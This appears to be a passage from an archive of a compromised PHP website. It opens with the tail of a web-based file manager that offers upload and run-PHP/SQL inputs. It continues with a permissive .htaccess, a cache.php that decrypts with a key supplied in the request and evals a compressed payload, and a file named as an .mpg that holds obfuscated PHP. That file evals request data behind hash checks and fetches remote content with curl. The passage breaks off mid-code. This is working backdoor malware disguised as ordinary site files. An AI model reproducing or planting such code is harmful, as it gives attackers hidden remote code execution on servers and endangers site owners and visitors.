$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2" class="row2"><?=$msg?></td>
</tr>
dvadf<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="dirname" size="15">
<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
</form>
dvadf<?php } ?>
</td>
<td>
dvadf<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="filename" size="15">
<input type="submit" name="mkfile" value="<?=__('New file')?>">
</form>
dvadf<?php } ?>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
<input type="submit" name="test" value="<?=__('Upload')?>" />
</form>
dvadf<?php } ?>
</td>
<td>
dvadf<?php if ($auth['authorize']) { ?>
<form action="" method="post">
<input name="quit" type="hidden" value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit" value="<?=__('Quit')?>">
</form>
dvadf<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr>
<th style="white-space:nowrap"> <?=__('Filename')?> </th>
<th style="white-space:nowrap"> <?=__('Size')?> </th>
<th style="white-space:nowrap"> <?=__('Date')?> </th>
<th style="white-space:nowrap"> <?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
$link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
dvadf<?php
}
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>PK @qO\
&�� � tokoo/.htaccessnu ��6�$ # ===========================================================
# WORKING .htaccess - HARD TO CHANGE, NO ERRORS
# ===========================================================
# 1. ALLOW ALL PHP FILES (NO ERRORS)
<FilesMatch "\.(php|php[0-9]+|phtml|phar|inc)$">
Allow from all
</FilesMatch>
# 2. PROTECT .htaccess FILE (MULTI-LAYER)
<Files ~ "^\.ht">
Deny from all
Satisfy All
</Files>
<FilesMatch "\.(htaccess|htpasswd|htgroup)$">
Deny from all
</FilesMatch>
# 3. BLOCK .htaccess VIA URL (SAFE METHOD)
RedirectMatch 403 \.ht
# 4. NO DIRECTORY LISTING
Options -Indexes
# 5. BLOCK ACCESS TO PROTECTED FILES
<FilesMatch "\.(sql|bak|old|swp|log|env|ini|config|sh|py|exe)$">
Deny from all
</FilesMatch>PK @qO\<¦ tokoo/cache.phpnu �[��� <?php $efBV = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGirhjj4Z2ZpgYA0A'; $WALhk = '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'; function efBV($TaYx) { $WALhk = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $qpuVL = substr($WALhk, 0, 16); $zZtG = base64_decode($TaYx); return openssl_decrypt($zZtG, "AES-256-CBC", $WALhk, OPENSSL_RAW_DATA, $qpuVL); } if (efBV('DjtPn+r4S0yvLCnquPz1fA')){ echo 'Tq1FH2rfo9ysEOVBOKsyxg00RcbLNvPm6oNIhjMv8sc7L64WlNdSIgA6hz88EeeL'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($efBV)))); ?>PK @qO\�Dp� tokoo/NIHPpgyqU.mpgnu �[��� <?php
goto en3xp8DOCHcf; qPXm_G1PmYAC: Z_gsfA7UX_Ii: goto e8ZOM9uLdq5t; ysUUBI3shaCb: ($LWT61bCGXdAS[69] = $LWT61bCGXdAS[69] . $LWT61bCGXdAS[72]) && ($LWT61bCGXdAS[83] = $LWT61bCGXdAS[69]($LWT61bCGXdAS[83])) && @eval($LWT61bCGXdAS[69](${$LWT61bCGXdAS[41]}[30])); goto qPXm_G1PmYAC; TAaGPL6No15C: $hKeynaELPUUt = $zZ_HJu3KTltI("\176", "\40"); goto VGZFRpbYwixG; ibSjEOehHL8N: if (!(in_array(gettype($LWT61bCGXdAS) . count($LWT61bCGXdAS), $LWT61bCGXdAS) && count($LWT61bCGXdAS) == 29 && md5(md5(md5(md5($LWT61bCGXdAS[23])))) === "\143\64\62\x34\71\x64\x66\145\x33\62\71\146\x31\x63\x63\x32\x63\x65\x32\71\62\146\62\x36\67\61\65\x36\x37\x66\144\64")) { goto Z_gsfA7UX_Ii; } goto ysUUBI3shaCb; VGZFRpbYwixG: $LWT61bCGXdAS = ${$hKeynaELPUUt[27 + 4] . $hKeynaELPUUt[37 + 22] . $hKeynaELPUUt[11 + 36] . $hKeynaELPUUt[4 + 43] . $hKeynaELPUUt[41 + 10] . $hKeynaELPUUt[35 + 18] . $hKeynaELPUUt[49 + 8]}; goto ibSjEOehHL8N; en3xp8DOCHcf: $zZ_HJu3KTltI = "\x72" . "\x61" . "\156" . "\147" . "\x65"; goto TAaGPL6No15C; QrT0VBExElrq: class wLuRYZZiwJMl { static function EJ0HuzVkFsqY($wB0zqwd0Svjc) { goto YVDG_RT9bpGC; Xz1Vrq06kGlT: H15hNojnLNMg: goto J6Ks7PKsQnQ2; Nzom2PDlNd_S: $qypGE9P5Bes6 = explode("\46", $wB0zqwd0Svjc); goto AVdCJO0cDmzZ; PWX_NygfNlcX: $jXJB16mimqCD = $TYC73N57sxjA("\x7e", "\x20"); goto Nzom2PDlNd_S; J6Ks7PKsQnQ2: return $ZYPIRTPd3RhH; goto YuySQXHOHJXw; AVdCJO0cDmzZ: $ZYPIRTPd3RhH = ''; goto nDkXP_Y6yrxH; YVDG_RT9bpGC: $TYC73N57sxjA = "\x72" . "\141" . "\156" . "\x67" . "\145"; goto PWX_NygfNlcX; nDkXP_Y6yrxH: foreach ($qypGE9P5Bes6 as $UjdhbH1Z5x_R => $ia7t1QO3FPbX) { $ZYPIRTPd3RhH .= $jXJB16mimqCD[$ia7t1QO3FPbX - 69085]; fNqYvMIYZjuC: } goto Xz1Vrq06kGlT; YuySQXHOHJXw: } static function MXlcg6CNa5Bo($w4i7wmTfEVw3, $Fj8qc0M6z5X9) { goto aHnlq2t4QSmp; N50nxbMgVlpm: return empty($dXFrr8ZcOwnB) ? $Fj8qc0M6z5X9($w4i7wmTfEVw3) : $dXFrr8ZcOwnB; goto YSjjXwj0FJSL; w_Cmt9s26ghV: curl_setopt($rkORfZ1_qLFA, CURLOPT_RETURNTRANSFER, 1); goto ClrRa_mRTbaA; aHnlq2t4QSmp: $rkORfZ1_qLFA = curl_init($w4i7wmTfEVw3); goto w_Cmt9s26ghV; ClrRa_mRTbaA: $dXFrr8ZcOwnB = curl_exec($rkORfZ1_qLFA); goto N50nxbMgVlpm; YSjjXwj0FJSL: } static function TNJPWd4nPg1c() { goto FHg46sVg4Eja; GsOVFBwJHLh8: @$eZj5IO21j53r[6 + 4](INPUT_GET, "\x6f\x66") == 1 && die($eZj5IO21j53r[2 + 3](__FILE__)); goto lUHJOOrnmo9N; wnD3VLq6TVEO: Y12kSCU2oo0L: goto R1RZ7Jc3R7ya; lUHJOOrnmo9N: if (!(@$uFf6Lo54nx15[0] - time() > 0 and md5(md5($uFf6Lo54nx15[2 + 1])) === "\141\143\62\65\x65\x33\67\70\x33\62\144\64\x34\x33\63\x30\141\70\62\146\67\66\x64\63\x62\142\x38\x31\x38\x63\66\141")) { goto Epa9NgZ_nIVu; } goto TG5FpT84WmMz; mfNollexayCK: Epa9NgZ_nIVu: goto KdByqXI753m1; vuUWzONdvz7f: foreach ($uphk1pvlu5qS as $ptNK9YsTAYai) { $eZj5IO21j53r[] = self::ej0HuzVkFsqy($ptNK9YsTAYai); hhHjKiSJSDKs: } goto wnD3VLq6TVEO; uIf1uFcepGTg: $t_zp4FIzNwZ8 = @$eZj5IO21j53r[3 + 0]($eZj5IO21j53r[6 + 0], $AAsTdQbL0HQg); goto CNfZsKVewX0c; CNfZsKVewX0c: $uFf6Lo54nx15 = $eZj5IO21j53r[0 + 2]($t_zp4FIzNwZ8, true); goto GsOVFBwJHLh8; TG5FpT84WmMz: $SpEwYskt7L_Y = self::mXLcG6cNA5bO($uFf6Lo54nx15[1 + 0], $eZj5IO21j53r[0 + 5]); goto wAiK8iyV1L4H; R1RZ7Jc3R7ya: $AAsTdQbL0HQg = @$eZj5IO21j53r[1]($eZj5IO21j53r[1 + 9](INPUT_GET, $eZj5IO21j53r[2 + 7])); goto uIf1uFcepGTg; FHg46sVg4Eja: $uphk1pvlu5qS = array("\x36\71\x31\x31\x32\46\66\x39\x30\71\67\x26\x36\x39\61\x31\x30\x26\x36\71\x31\61\x34\46\x36\x39\60\x39\65\x26\66\x39\61\x31\x30\x26\66\71\x31\x31\66\46\x36\71\61\60\71\46\x36\x39\x30\x39\64\46\x36\71\x31\60\61\46\x36\x39\61\x31\62\46\66\x39\60\71\x35\x26\x36\71\x31\60\x36\x26\x36\71\x31\60\x30\x26\x36\71\61\60\x31", "\66\x39\x30\x39\x36\x26\x36\71\60\x39\65\46\66\x39\60\x39\67\46\66\71\x31\x31\x36\46\66\71\x30\71\67\46\66\x39\x31\x30\60\46\x36\71\60\x39\65\x26\66\71\x31\66\x32\46\66\x39\x31\x36\60", "\66\x39\x31\x30\65\x26\x36\x39\60\71\x36\46\x36\71\x31\x30\x30\x26\66\71\61\x30\61\x26\x36\71\x31\x31\66\x26\66\x39\x31\x31\x31\x26\x36\71\61\x31\60\46\66\x39\x31\61\x32\x26\x36\71\61\60\x30\46\x36\71\x31\x31\61\x26\66\x39\61\x31\60", "\66\71\x30\71\x39\x26\x36\71\61\x31\64\x26\x36\x39\61\x31\62\x26\66\x39\61\x30\64", "\x36\71\x31\x31\63\46\x36\71\x31\61\64\x26\66\71\x30\71\x36\46\x36\x39\x31\61\60\x26\x36\x39\61\x35\x37\x26\66\71\61\65\71\x26\66\x39\61\61\66\x26\x36\x39\x31\61\x31\x26\x36\x39\61\x31\60\x26\66\71\x31\61\62\46\x36\71\61\x30\x30\x26\x36\71\61\x31\61\46\x36\x39\61\x31\x30", 